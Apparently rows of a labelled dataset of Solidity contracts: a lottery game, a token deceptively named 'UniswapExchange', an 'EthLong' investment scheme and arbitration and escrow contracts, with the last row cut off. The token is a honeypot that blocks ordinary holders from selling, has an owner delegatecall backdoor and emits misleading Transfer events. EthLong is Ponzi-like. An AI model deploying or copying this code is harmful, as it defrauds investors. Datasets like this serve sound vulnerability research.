owner = _newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
view
public
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
view
public
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
onlyOwner
public
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
onlyOwner
public
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract ClubAccessControl is Whitelist {
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
}
contract HKHcoinInterface {
mapping (address => uint256) public balanceOf;
function mintToken(address target, uint256 mintedAmount) public;
function burnFrom(address _from, uint256 _value) public returns (bool success);
}
contract PlayerFactory is ClubAccessControl {
struct Player {
bool isFreezed;
bool isExist;
}
mapping (address => Player) public players;
HKHcoinInterface hkhconinContract;
uint initCoins = 1000000;
modifier onlyIfPlayerNotFreezed(address _playerAddress) {
require (!players[_playerAddress].isFreezed);
_;
}
modifier onlyIfPlayerExist(address _playerAddress) {
require (players[_playerAddress].isExist);
_;
}
event NewPlayer(address indexed _playerAddress);
function setHKHcoinAddress(address _address)
external
onlyIfWhitelisted(msg.sender)
{
hkhconinContract = HKHcoinInterface(_address);
}
function getBalanceOfPlayer(address _playerAddress)
public
onlyIfPlayerExist(_playerAddress)
view
returns (uint)
{
return hkhconinContract.balanceOf(_playerAddress);
}
function joinClub(address _playerAddress)
external
onlyIfWhitelisted(msg.sender)
whenNotPaused
{
require(!players[_playerAddress].isExist);
players[_playerAddress] = Player(false, true);
hkhconinContract.mintToken(_playerAddress, initCoins);
emit NewPlayer(_playerAddress);
}
function reset(address _playerAddress)
external
onlyIfWhitelisted(msg.sender)
onlyIfPlayerExist(_playerAddress)
whenNotPaused
{
uint balance = hkhconinContract.balanceOf(_playerAddress);
if(balance > initCoins)
_destroy(_playerAddress, balance - initCoins);
else if(balance < initCoins)
_recharge(_playerAddress, initCoins - balance);
emit NewPlayer(_playerAddress);
}
function recharge(address _playerAddress, uint _amount)
public
onlyIfWhitelisted(msg.sender)
onlyIfPlayerExist(_playerAddress)
whenNotPaused
{
_recharge(_playerAddress, _amount);
}
function destroy(address _playerAddress, uint _amount)
public
onlyIfWhitelisted(msg.sender)
onlyIfPlayerExist(_playerAddress)
whenNotPaused
{
_destroy(_playerAddress, _amount);
}
function freezePlayer(address _playerAddress)
public
onlyIfWhitelisted(msg.sender)
onlyIfPlayerExist(_playerAddress)
whenNotPaused
{
players[_playerAddress].isFreezed = true;
}
function resumePlayer(address _playerAddress)
public
onlyIfWhitelisted(msg.sender)
onlyIfPlayerExist(_playerAddress)
whenNotPaused
{
players[_playerAddress].isFreezed = false;
}
function _recharge(address _playerAddress, uint _amount)
internal
{
hkhconinContract.mintToken(_playerAddress, _amount);
}
function _destroy(address _playerAddress, uint _amount)
internal
{
hkhconinContract.burnFrom(_playerAddress, _amount);
}
}
contract LotteryFactory is PlayerFactory {
event BuyLottery(
uint32 _id,
address indexed _playerAddress,
string _betline,
string _place,
uint32 _betAmount,
uint32 indexed _date,
uint8 indexed _race
);
event Dividend(
uint32 _id,
uint32 _dividend
);
event Refund(
uint32 _id,
uint32 _refund
);
struct Lottery {
uint32 betAmount;
uint32 dividend;
uint32 refund;
uint32 date;
uint8 race;
bool isPaid;
string betline;
string place;
}
Lottery[] public lotteries;
mapping (uint => address) public lotteryToOwner;
mapping (address => uint) ownerLotteryCount;
constructor() public {
addAddressToWhitelist(msg.sender);
}
function getLotteriesByOwner(address _owner)
view
external
onlyIfPlayerExist(_owner)
returns(uint[])
{
uint[] memory result = new uint[](ownerLotteryCount[_owner]);
uint counter = 0;
for (uint i = 0; i < lotteries.length; i++) {
if (lotteryToOwner[i] == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
function createLottery(
address _playerAddress,
string _betline,
string _place,
uint32 _betAmount,
uint32 _date,
uint8 _race
)
external
onlyIfWhitelisted(msg.sender)
onlyIfPlayerExist(_playerAddress)
onlyIfPlayerNotFreezed(_playerAddress)
whenNotPaused
{
uint32 id = uint32(lotteries.push(Lottery(_betAmount, 0, 0, _date, _race, false, _betline, _place))) - 1;
lotteryToOwner[id] = _playerAddress;
ownerLotteryCount[_playerAddress]++;
_destroy(_playerAddress, _betAmount);
emit BuyLottery(
id,
_playerAddress,
_betline,
_place,
_betAmount,
_date,
_race
);
}
function setDividendAndPayOut(
uint32 _id,
uint32 _dividend,
uint32 _refund
)
external
onlyIfWhitelisted(msg.sender)
whenNotPaused
{
if(lotteries[_id].isPaid == false) {
lotteries[_id].dividend = _dividend;
lotteries[_id].refund = _refund;
if(lotteries[_id].dividend > 0) {
emit Dividend(
_id,
lotteries[_id].dividend
);
}
if(lotteries[_id].refund > 0) {
emit Refund(
_id,
lotteries[_id].refund
);
}
_recharge(lotteryToOwner[_id], lotteries[_id].dividend + lotteries[_id].refund);
lotteries[_id].isPaid = true;
}
}
} | 1 | 3,828 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 342 |
pragma solidity ^0.4.25;
contract EthLong{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 33;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0xA4410DF42dFFa99053B4159696757da2B757A29d;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(72000);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,366 |
pragma solidity ^0.4.24;
interface IArbitrable {
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
function rule(uint _disputeID, uint _ruling) external;
}
contract Arbitrable is IArbitrable {
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender == address(arbitrator), "Can only be called by the arbitrator."); _;}
constructor(Arbitrator _arbitrator, bytes memory _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes memory _extraData) {
require(msg.value >= arbitrationCost(_extraData), "Not enough ETH to cover arbitration costs.");
_;
}
modifier requireAppealFee(uint _disputeID, bytes memory _extraData) {
require(msg.value >= appealCost(_disputeID, _extraData), "Not enough ETH to cover appeal costs.");
_;
}
event DisputeCreation(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealPossible(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable indexed _arbitrable);
function createDispute(uint _choices, bytes memory _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes memory _extraData) public view returns(uint fee);
function appeal(uint _disputeID, bytes memory _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes memory _extraData) public view returns(uint fee);
function appealPeriod(uint _disputeID) public view returns(uint start, uint end) {}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status);
function currentRuling(uint _disputeID) public view returns(uint ruling);
}
contract CentralizedArbitrator is Arbitrator {
address public owner = msg.sender;
uint arbitrationPrice;
uint constant NOT_PAYABLE_VALUE = (2**256-2)/2;
struct DisputeStruct {
Arbitrable arbitrated;
uint choices;
uint fee;
uint ruling;
DisputeStatus status;
}
modifier onlyOwner {require(msg.sender==owner, "Can only be called by the owner."); _;}
DisputeStruct[] public disputes;
constructor(uint _arbitrationPrice) public {
arbitrationPrice = _arbitrationPrice;
}
function setArbitrationPrice(uint _arbitrationPrice) public onlyOwner {
arbitrationPrice = _arbitrationPrice;
}
function arbitrationCost(bytes _extraData) public view returns(uint fee) {
return arbitrationPrice;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint fee) {
return NOT_PAYABLE_VALUE;
}
function createDispute(uint _choices, bytes _extraData) public payable returns(uint disputeID) {
super.createDispute(_choices, _extraData);
disputeID = disputes.push(DisputeStruct({
arbitrated: Arbitrable(msg.sender),
choices: _choices,
fee: msg.value,
ruling: 0,
status: DisputeStatus.Waiting
})) - 1;
emit DisputeCreation(disputeID, Arbitrable(msg.sender));
}
function _giveRuling(uint _disputeID, uint _ruling) internal {
DisputeStruct storage dispute = disputes[_disputeID];
require(_ruling <= dispute.choices, "Invalid ruling.");
require(dispute.status != DisputeStatus.Solved, "The dispute must not be solved already.");
dispute.ruling = _ruling;
dispute.status = DisputeStatus.Solved;
msg.sender.send(dispute.fee);
dispute.arbitrated.rule(_disputeID,_ruling);
}
function giveRuling(uint _disputeID, uint _ruling) public onlyOwner {
return _giveRuling(_disputeID, _ruling);
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
return disputes[_disputeID].status;
}
function currentRuling(uint _disputeID) public view returns(uint ruling) {
return disputes[_disputeID].ruling;
}
}
contract AppealableArbitrator is CentralizedArbitrator, Arbitrable {
struct AppealDispute {
uint rulingTime;
Arbitrator arbitrator;
uint appealDisputeID;
}
uint public timeOut;
mapping(uint => AppealDispute) public appealDisputes;
mapping(uint => uint) public appealDisputeIDsToDisputeIDs;
constructor(
uint _arbitrationPrice,
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _timeOut
) public CentralizedArbitrator(_arbitrationPrice) Arbitrable(_arbitrator, _arbitratorExtraData) {
timeOut = _timeOut;
}
function changeArbitrator(Arbitrator _arbitrator) external onlyOwner {
arbitrator = _arbitrator;
}
function changeTimeOut(uint _timeOut) external onlyOwner {
timeOut = _timeOut;
}
function getAppealDisputeID(uint _disputeID) external view returns(uint disputeID) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
disputeID = AppealableArbitrator(appealDisputes[_disputeID].arbitrator).getAppealDisputeID(appealDisputes[_disputeID].appealDisputeID);
else disputeID = _disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable requireAppealFee(_disputeID, _extraData) {
super.appeal(_disputeID, _extraData);
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
appealDisputes[_disputeID].arbitrator.appeal.value(msg.value)(appealDisputes[_disputeID].appealDisputeID, _extraData);
else {
appealDisputes[_disputeID].arbitrator = arbitrator;
appealDisputes[_disputeID].appealDisputeID = arbitrator.createDispute.value(msg.value)(disputes[_disputeID].choices, _extraData);
appealDisputeIDsToDisputeIDs[appealDisputes[_disputeID].appealDisputeID] = _disputeID;
}
}
function giveRuling(uint _disputeID, uint _ruling) public {
require(disputes[_disputeID].status != DisputeStatus.Solved, "The specified dispute is already resolved.");
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0))) {
require(Arbitrator(msg.sender) == appealDisputes[_disputeID].arbitrator, "Appealed disputes must be ruled by their back up arbitrator.");
super._giveRuling(_disputeID, _ruling);
} else {
require(msg.sender == owner, "Not appealed disputes must be ruled by the owner.");
if (disputes[_disputeID].status == DisputeStatus.Appealable) {
if (now - appealDisputes[_disputeID].rulingTime > timeOut)
super._giveRuling(_disputeID, disputes[_disputeID].ruling);
else revert("Time out time has not passed yet.");
} else {
disputes[_disputeID].ruling = _ruling;
disputes[_disputeID].status = DisputeStatus.Appealable;
appealDisputes[_disputeID].rulingTime = now;
emit AppealPossible(_disputeID, disputes[_disputeID].arbitrated);
}
}
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint cost) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
cost = appealDisputes[_disputeID].arbitrator.appealCost(appealDisputes[_disputeID].appealDisputeID, _extraData);
else if (disputes[_disputeID].status == DisputeStatus.Appealable) cost = arbitrator.arbitrationCost(_extraData);
else cost = NOT_PAYABLE_VALUE;
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
status = appealDisputes[_disputeID].arbitrator.disputeStatus(appealDisputes[_disputeID].appealDisputeID);
else status = disputes[_disputeID].status;
}
function executeRuling(uint _disputeID, uint _ruling) internal {
require(
appealDisputes[appealDisputeIDsToDisputeIDs[_disputeID]].arbitrator != Arbitrator(address(0)),
"The dispute must have been appealed."
);
giveRuling(appealDisputeIDsToDisputeIDs[_disputeID], _ruling);
}
}
contract MultipleArbitrableTransaction is IArbitrable {
uint8 constant AMOUNT_OF_CHOICES = 2;
uint8 constant SENDER_WINS = 1;
uint8 constant RECEIVER_WINS = 2;
enum Party {Sender, Receiver}
enum Status {NoDispute, WaitingSender, WaitingReceiver, DisputeCreated, Resolved}
struct Transaction {
address sender;
address receiver;
uint amount;
uint timeoutPayment;
uint disputeId;
uint senderFee;
uint receiverFee;
uint lastInteraction;
Status status;
}
Transaction[] public transactions;
bytes public arbitratorExtraData;
Arbitrator public arbitrator;
uint public feeTimeout;
mapping (uint => uint) public disputeIDtoTransactionID;
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Payment(uint _transactionID, uint _amount, address _party);
event HasToPayFee(uint indexed _transactionID, Party _party);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
constructor (
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _feeTimeout
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
feeTimeout = _feeTimeout;
}
function createTransaction(
uint _timeoutPayment,
address _receiver,
string _metaEvidence
) public payable returns (uint transactionID) {
transactions.push(Transaction({
sender: msg.sender,
receiver: _receiver,
amount: msg.value,
timeoutPayment: _timeoutPayment,
disputeId: 0,
senderFee: 0,
receiverFee: 0,
lastInteraction: now,
status: Status.NoDispute
}));
emit MetaEvidence(transactions.length - 1, _metaEvidence);
return transactions.length - 1;
}
function pay(uint _transactionID, uint _amount) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.sender == msg.sender, "The caller must be the sender.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amount <= transaction.amount, "The amount paid has to be less than or equal to the transaction.");
transaction.receiver.transfer(_amount);
transaction.amount -= _amount;
emit Payment(_transactionID, _amount, msg.sender);
}
function reimburse(uint _transactionID, uint _amountReimbursed) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.receiver == msg.sender, "The caller must be the receiver.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amountReimbursed <= transaction.amount, "The amount reimbursed has to be less or equal than the transaction.");
transaction.sender.transfer(_amountReimbursed);
transaction.amount -= _amountReimbursed;
emit Payment(_transactionID, _amountReimbursed, msg.sender);
}
function executeTransaction(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(now - transaction.lastInteraction >= transaction.timeoutPayment, "The timeout has not passed yet.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
transaction.receiver.transfer(transaction.amount);
transaction.amount = 0;
transaction.status = Status.Resolved;
}
function timeOutBySender(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingReceiver, "The transaction is not waiting on the receiver.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, SENDER_WINS);
}
function timeOutByReceiver(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingSender, "The transaction is not waiting on the sender.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, RECEIVER_WINS);
}
function payArbitrationFeeBySender(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.sender, "The caller must be the sender.");
transaction.senderFee += msg.value;
require(transaction.senderFee >= arbitrationCost, "The sender fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.receiverFee < arbitrationCost) {
transaction.status = Status.WaitingReceiver;
emit HasToPayFee(_transactionID, Party.Receiver);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function payArbitrationFeeByReceiver(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.receiver, "The caller must be the receiver.");
transaction.receiverFee += msg.value;
require(transaction.receiverFee >= arbitrationCost, "The receiver fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.senderFee < arbitrationCost) {
transaction.status = Status.WaitingSender;
emit HasToPayFee(_transactionID, Party.Sender);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function raiseDispute(uint _transactionID, uint _arbitrationCost) internal {
Transaction storage transaction = transactions[_transactionID];
transaction.status = Status.DisputeCreated;
transaction.disputeId = arbitrator.createDispute.value(_arbitrationCost)(AMOUNT_OF_CHOICES, arbitratorExtraData);
disputeIDtoTransactionID[transaction.disputeId] = _transactionID;
emit Dispute(arbitrator, transaction.disputeId, _transactionID, _transactionID);
